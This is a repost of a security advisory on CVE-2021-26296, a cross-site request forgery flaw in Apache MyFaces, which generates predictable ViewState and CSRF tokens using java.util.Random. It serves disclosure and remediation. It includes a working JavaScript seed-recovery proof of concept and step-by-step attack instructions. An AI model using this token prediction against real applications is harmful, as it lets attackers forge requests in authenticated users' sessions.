Home Apache MyFaces 2.x Cross Site Request Forgery
Post
Cancel

Apache MyFaces 2.x Cross Site Request Forgery

There is a cross-site request forgery vulnerability present in Apache MyFaces versions 2.2.13 and earlier, 2.3.7 and earlier, 2.3-next-M4 and earlier, as well as 2.1 and earlier.

1
MD5 | a8e80747410cdf24bd08eed09d1cb041
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~                Ceritude Securiy Advisory - CSA-2021-001                   ~
    ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
     PRODUCT          : Apache MyFaces
     VENDOR           : The Apache Software Foundation
     SEVERITY         : High
     AFFECTED VERSION : <=2.2.13, <=2.3.7, <=2.3-next-M4, <=2.1 branches
     IDENTIFIERS      : CVE-2021-26296
     PATCH VERSION    : 2.2.14, 2.3.8, 2.3-next-M5, 3.0.0
     FOUND BY         : Wolfgang Ettlinger, Certitude Lab
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Introduction
    ------------
    
    Apache MyFaces is an open-source implementation of JSF. During a quick
    evaluation, Certitude found that the default CSRF protection of Apache MyFaces
    was insufficient as the CSRF tokens the framework generates can be guessed by
    an attacker.
    
    Moreover, the patch provided by the Apache MyFaces maintainers affects the way
    channel tokens for websocket communication are generated. It is unclear,
    whether this change fixes a vulnerability.
    
    Vulnerability Overview
    ----------------------
    
    Applications that employ the MyFaces JSF framework transmit a parameter
    "javax.faces.ViewState" with every state-modifying request. Though not
    intended for CSRF protection, in the default configuration this parameter
    prevents trivial attacks, as it is sufficiently long and tied to a single
    session.
    
    However, by default, this value is generated using the insecure random number
    generator `java.util.Random`. An attacker can therefore obtain a ViewState
    parameter from the application and, based on this value, predict the random
    part of ViewState parameters subsequently issued to other users. Besides the
    random string, the ViewState parameter contains a sequence number. As the
    initial value of the per-session sequence counter is 1, an attacker can very
    easily guess this value.
    
    As the ViewState parameter is the sole CSRF protection, knowledge of this
    value allows an attacker to conduct CSRF attacks.
    
    When Apache MyFaces is used in client-side saving mode, the ViewState
    parameter is insufficient to protect against CSRF. Instead, pages that require
    protection against CSRF can be marked as "protected-pages". For these pages,
    Apache MyFaces requires CSRF token for each request ("javax.faces.Token"). By
    default, the CSRF token too is generated using `java.util.Random`, thus
    allowing an attacker to bypass the CSRF protection.
    
    NOTE: Besides the ViewState parameter and the CSRF token, Apache MyFaces also
    introduced a cryptographically secure random number generator for the
    websocket channel token. Certitude has not verified if this change fixes a
    vulnerability.
    
    Proof of Concept
    ----------------
    
    By default, the class
    `org.apache.myfaces.application.viewstate.RandomKeyFactory` is used to
    generate ViewState parameter values. This class uses the method
    `java.util.Random#nextBytes` as well as a per-session counter value to
    generate ViewState strings.
    
    The following JavaScript snippet demonstrates the generation of the random
    part of a ViewState value based on the random part of a previously issued
    ViewState parameter:
    
    ``` {.javascript}
    const multiplier = 0x5DEECE66Dn;
    const addend = 0xBn;
    const mask = (1n << 48n) - 1n;
    
    const unbyte = (bytes, offset) => BigInt(
        Array.from(bytes.slice(offset, offset + 4))
        .map((b, i) => b << (8 * i))
        .reduce((a, b) => a + b));
    
    const longify = n => integer(n, 8n);
    const intify = n => integer(n, 4n);
    const byteify = n => integer(n, 1n);
    
    function integer(n, len) {
        const bits = len * 8n;
        const hspan = 1n << (bits - 1n);
        return ((n + hspan) % (2n * hspan)) - hspan;
    }
    
    const hexToByteArray = s => (new Uint8Array(s.length / 2)
        .map((_, i) => (
            parseInt(s.charAt(2 * i), 16) << 4 |
            parseInt(s.charAt(2 * i + 1), 16))));
    
    const byteArrayToHex = b => (Array.from(b)
        .map(x => (((x + 0x100).toString(16)).substr(-2)))
        .reduce((a, b) => a + b))
        .toUpperCase();
    
    // based on https://github.com/fta2012/ReplicatedRandom/blob/master/ReplicatedRandom.java
    function replicatedRandom(bytes) {
        let seed = 0;
    
        replicateState(
            unbyte(bytes, bytes.length - 8), 32n,
            unbyte(bytes, bytes.length - 4), 32n);
    
        return nextBytes(bytes.length);
    
        function replicateState(nextN, n, nextM, m) {
            const upperMOf48Mask = ((1n << m) - 1n) << (48n - m);
            const oldSeedUpperN = (nextN << (48n - n)) & mask;
            const newSeedUpperM = (nextM << (48n - m)) & mask;
    
            let possibilityCount = 0;
    
            for (let oldSeed = oldSeedUpperN;
                    oldSeed <= (oldSeedUpperN | ((1n << (48n - n)) - 1n));
                    oldSeed++) {
                const newSeed = longify(
                    longify(oldSeed * multiplier + addend) & mask);
    
                if ((newSeed & upperMOf48Mask) == newSeedUpperM) {
                    possibilityCount++;
                    seed = newSeed;
                }
            }
    
            if (possibilityCount != 1) throw new Error('replicateState failed');
        }
    
        function next(bits) {
            seed = longify(longify(seed * multiplier + addend) & mask);
            return intify(seed >> (48n - bits));
        }
    
        function nextBytes(count) {
            const res = new Int8Array(count);
    
            for (let i = 0; i < count; ) {
                let rnd = next(32n);
                for (let n = Math.min(count - i, 4); n > 0; n--) {
                    res[i++] = parseInt(byteify(rnd));
                    rnd >>= 8n;
                }
            }
    
            return res;
        }
    }
    ```
    
    An attacker can exploit this issue as follows:
    
    1.  An attacker lures an authenticated victim to an attacker-controlled
        website.
    2.  As the victim opens the website, the attacker requests a ViewState value
        from the application.
    3.  The exploit script opens the target JSF page e.g. in an iframe. For this
        page, the vulnerable application generates a new random ViewState value.
    4.  The attacker now predicts a number of the random strings based on the
        ViewState value received in step 2. As the victim's ViewState value is
        generated just after the attacker's ViewState value, it is very likely,
        that the victim's ViewState value is among the generated ones.
    5.  The exploit script sends several CSRF requests containing combinations of
        predicted random strings and sequence numbers. If guessed correctly, the
        vulnerable application accepts the attacker's request.
    
    A similar approach is possible to attack protected pages. Unlike the ViewState
    values, the CSRF token generated, however, do not contain a sequence counter.
    
    Resolution
    ----------
    
    The Apache MyFaces maintainers have released a patch that addresses the
    identified issue. Certitude recommends affected organizations to immediately
    upgrade to version 2.2.14, 2.3.8, 2.3-next-M5 or 3.0.0. If an upgrade to the
    latest version is not possible, the Apache MyFaces maintainers recommend
    setting the following settings to "secureRandom":
    
    -   org.apache.myfaces.RANDOM_KEY_IN_VIEW_STATE_SESSION_TOKEN
    -   org.apache.myfaces.RANDOM_KEY_IN_CSRF_SESSION_TOKEN
    -   org.apache.myfaces.RANDOM_KEY_IN_WEBSOCKET_SESSION_TOKEN
    
    Note that the patch introduces changes in the way websocket channel tokens are
    generated. Certitude therefore recommends applying the patch or workaround to
    all applications that use Apache MyFaces, even if CSRF attacks are of no
    concern.
    
    Timeline
    --------
    
      ---------------------------------------------------------------------------
      Date         Text
      ------------ --------------------------------------------------------------
      2020-12-15   Sending encrypted vulnerability description and proof of
                   concept script to the Apache security team
    
      2020-12-15   Apache security team acknowledges receipt
    
      2020-12-28   Apache MyFaces team member requests proof of concept script
    
      2021-01-04   Asking for encrypted communication channel
    
      2021-01-04   Vendor provides PGP key
    
      2021-01-05   Sending encrypted proof of concept
    
      2021-01-07   Vendor requests more information about the PoC
    
      2021-01-08   Providing requested information
    
      2021-01-19   Coordination call with vendor
    
      2021-01-26   Coordination call with vendor
    
      2021-02-02   Coordination call with vendor, release of patches is imminent
    
      2021-02-09   Coordination call with vendor, 3 of 4 patches have been
                   released
    
      2021-02-15   Coordination call with vendor, last patch release is in
                   progress
    
      2021-02-19   Public release of the advisory
      ---------------------------------------------------------------------------
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                               (c) 2021 Certitude Consulting GmbH
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Source :   https://packetstormsecurity.com

This post is licensed under CC BY 4.0 by the author.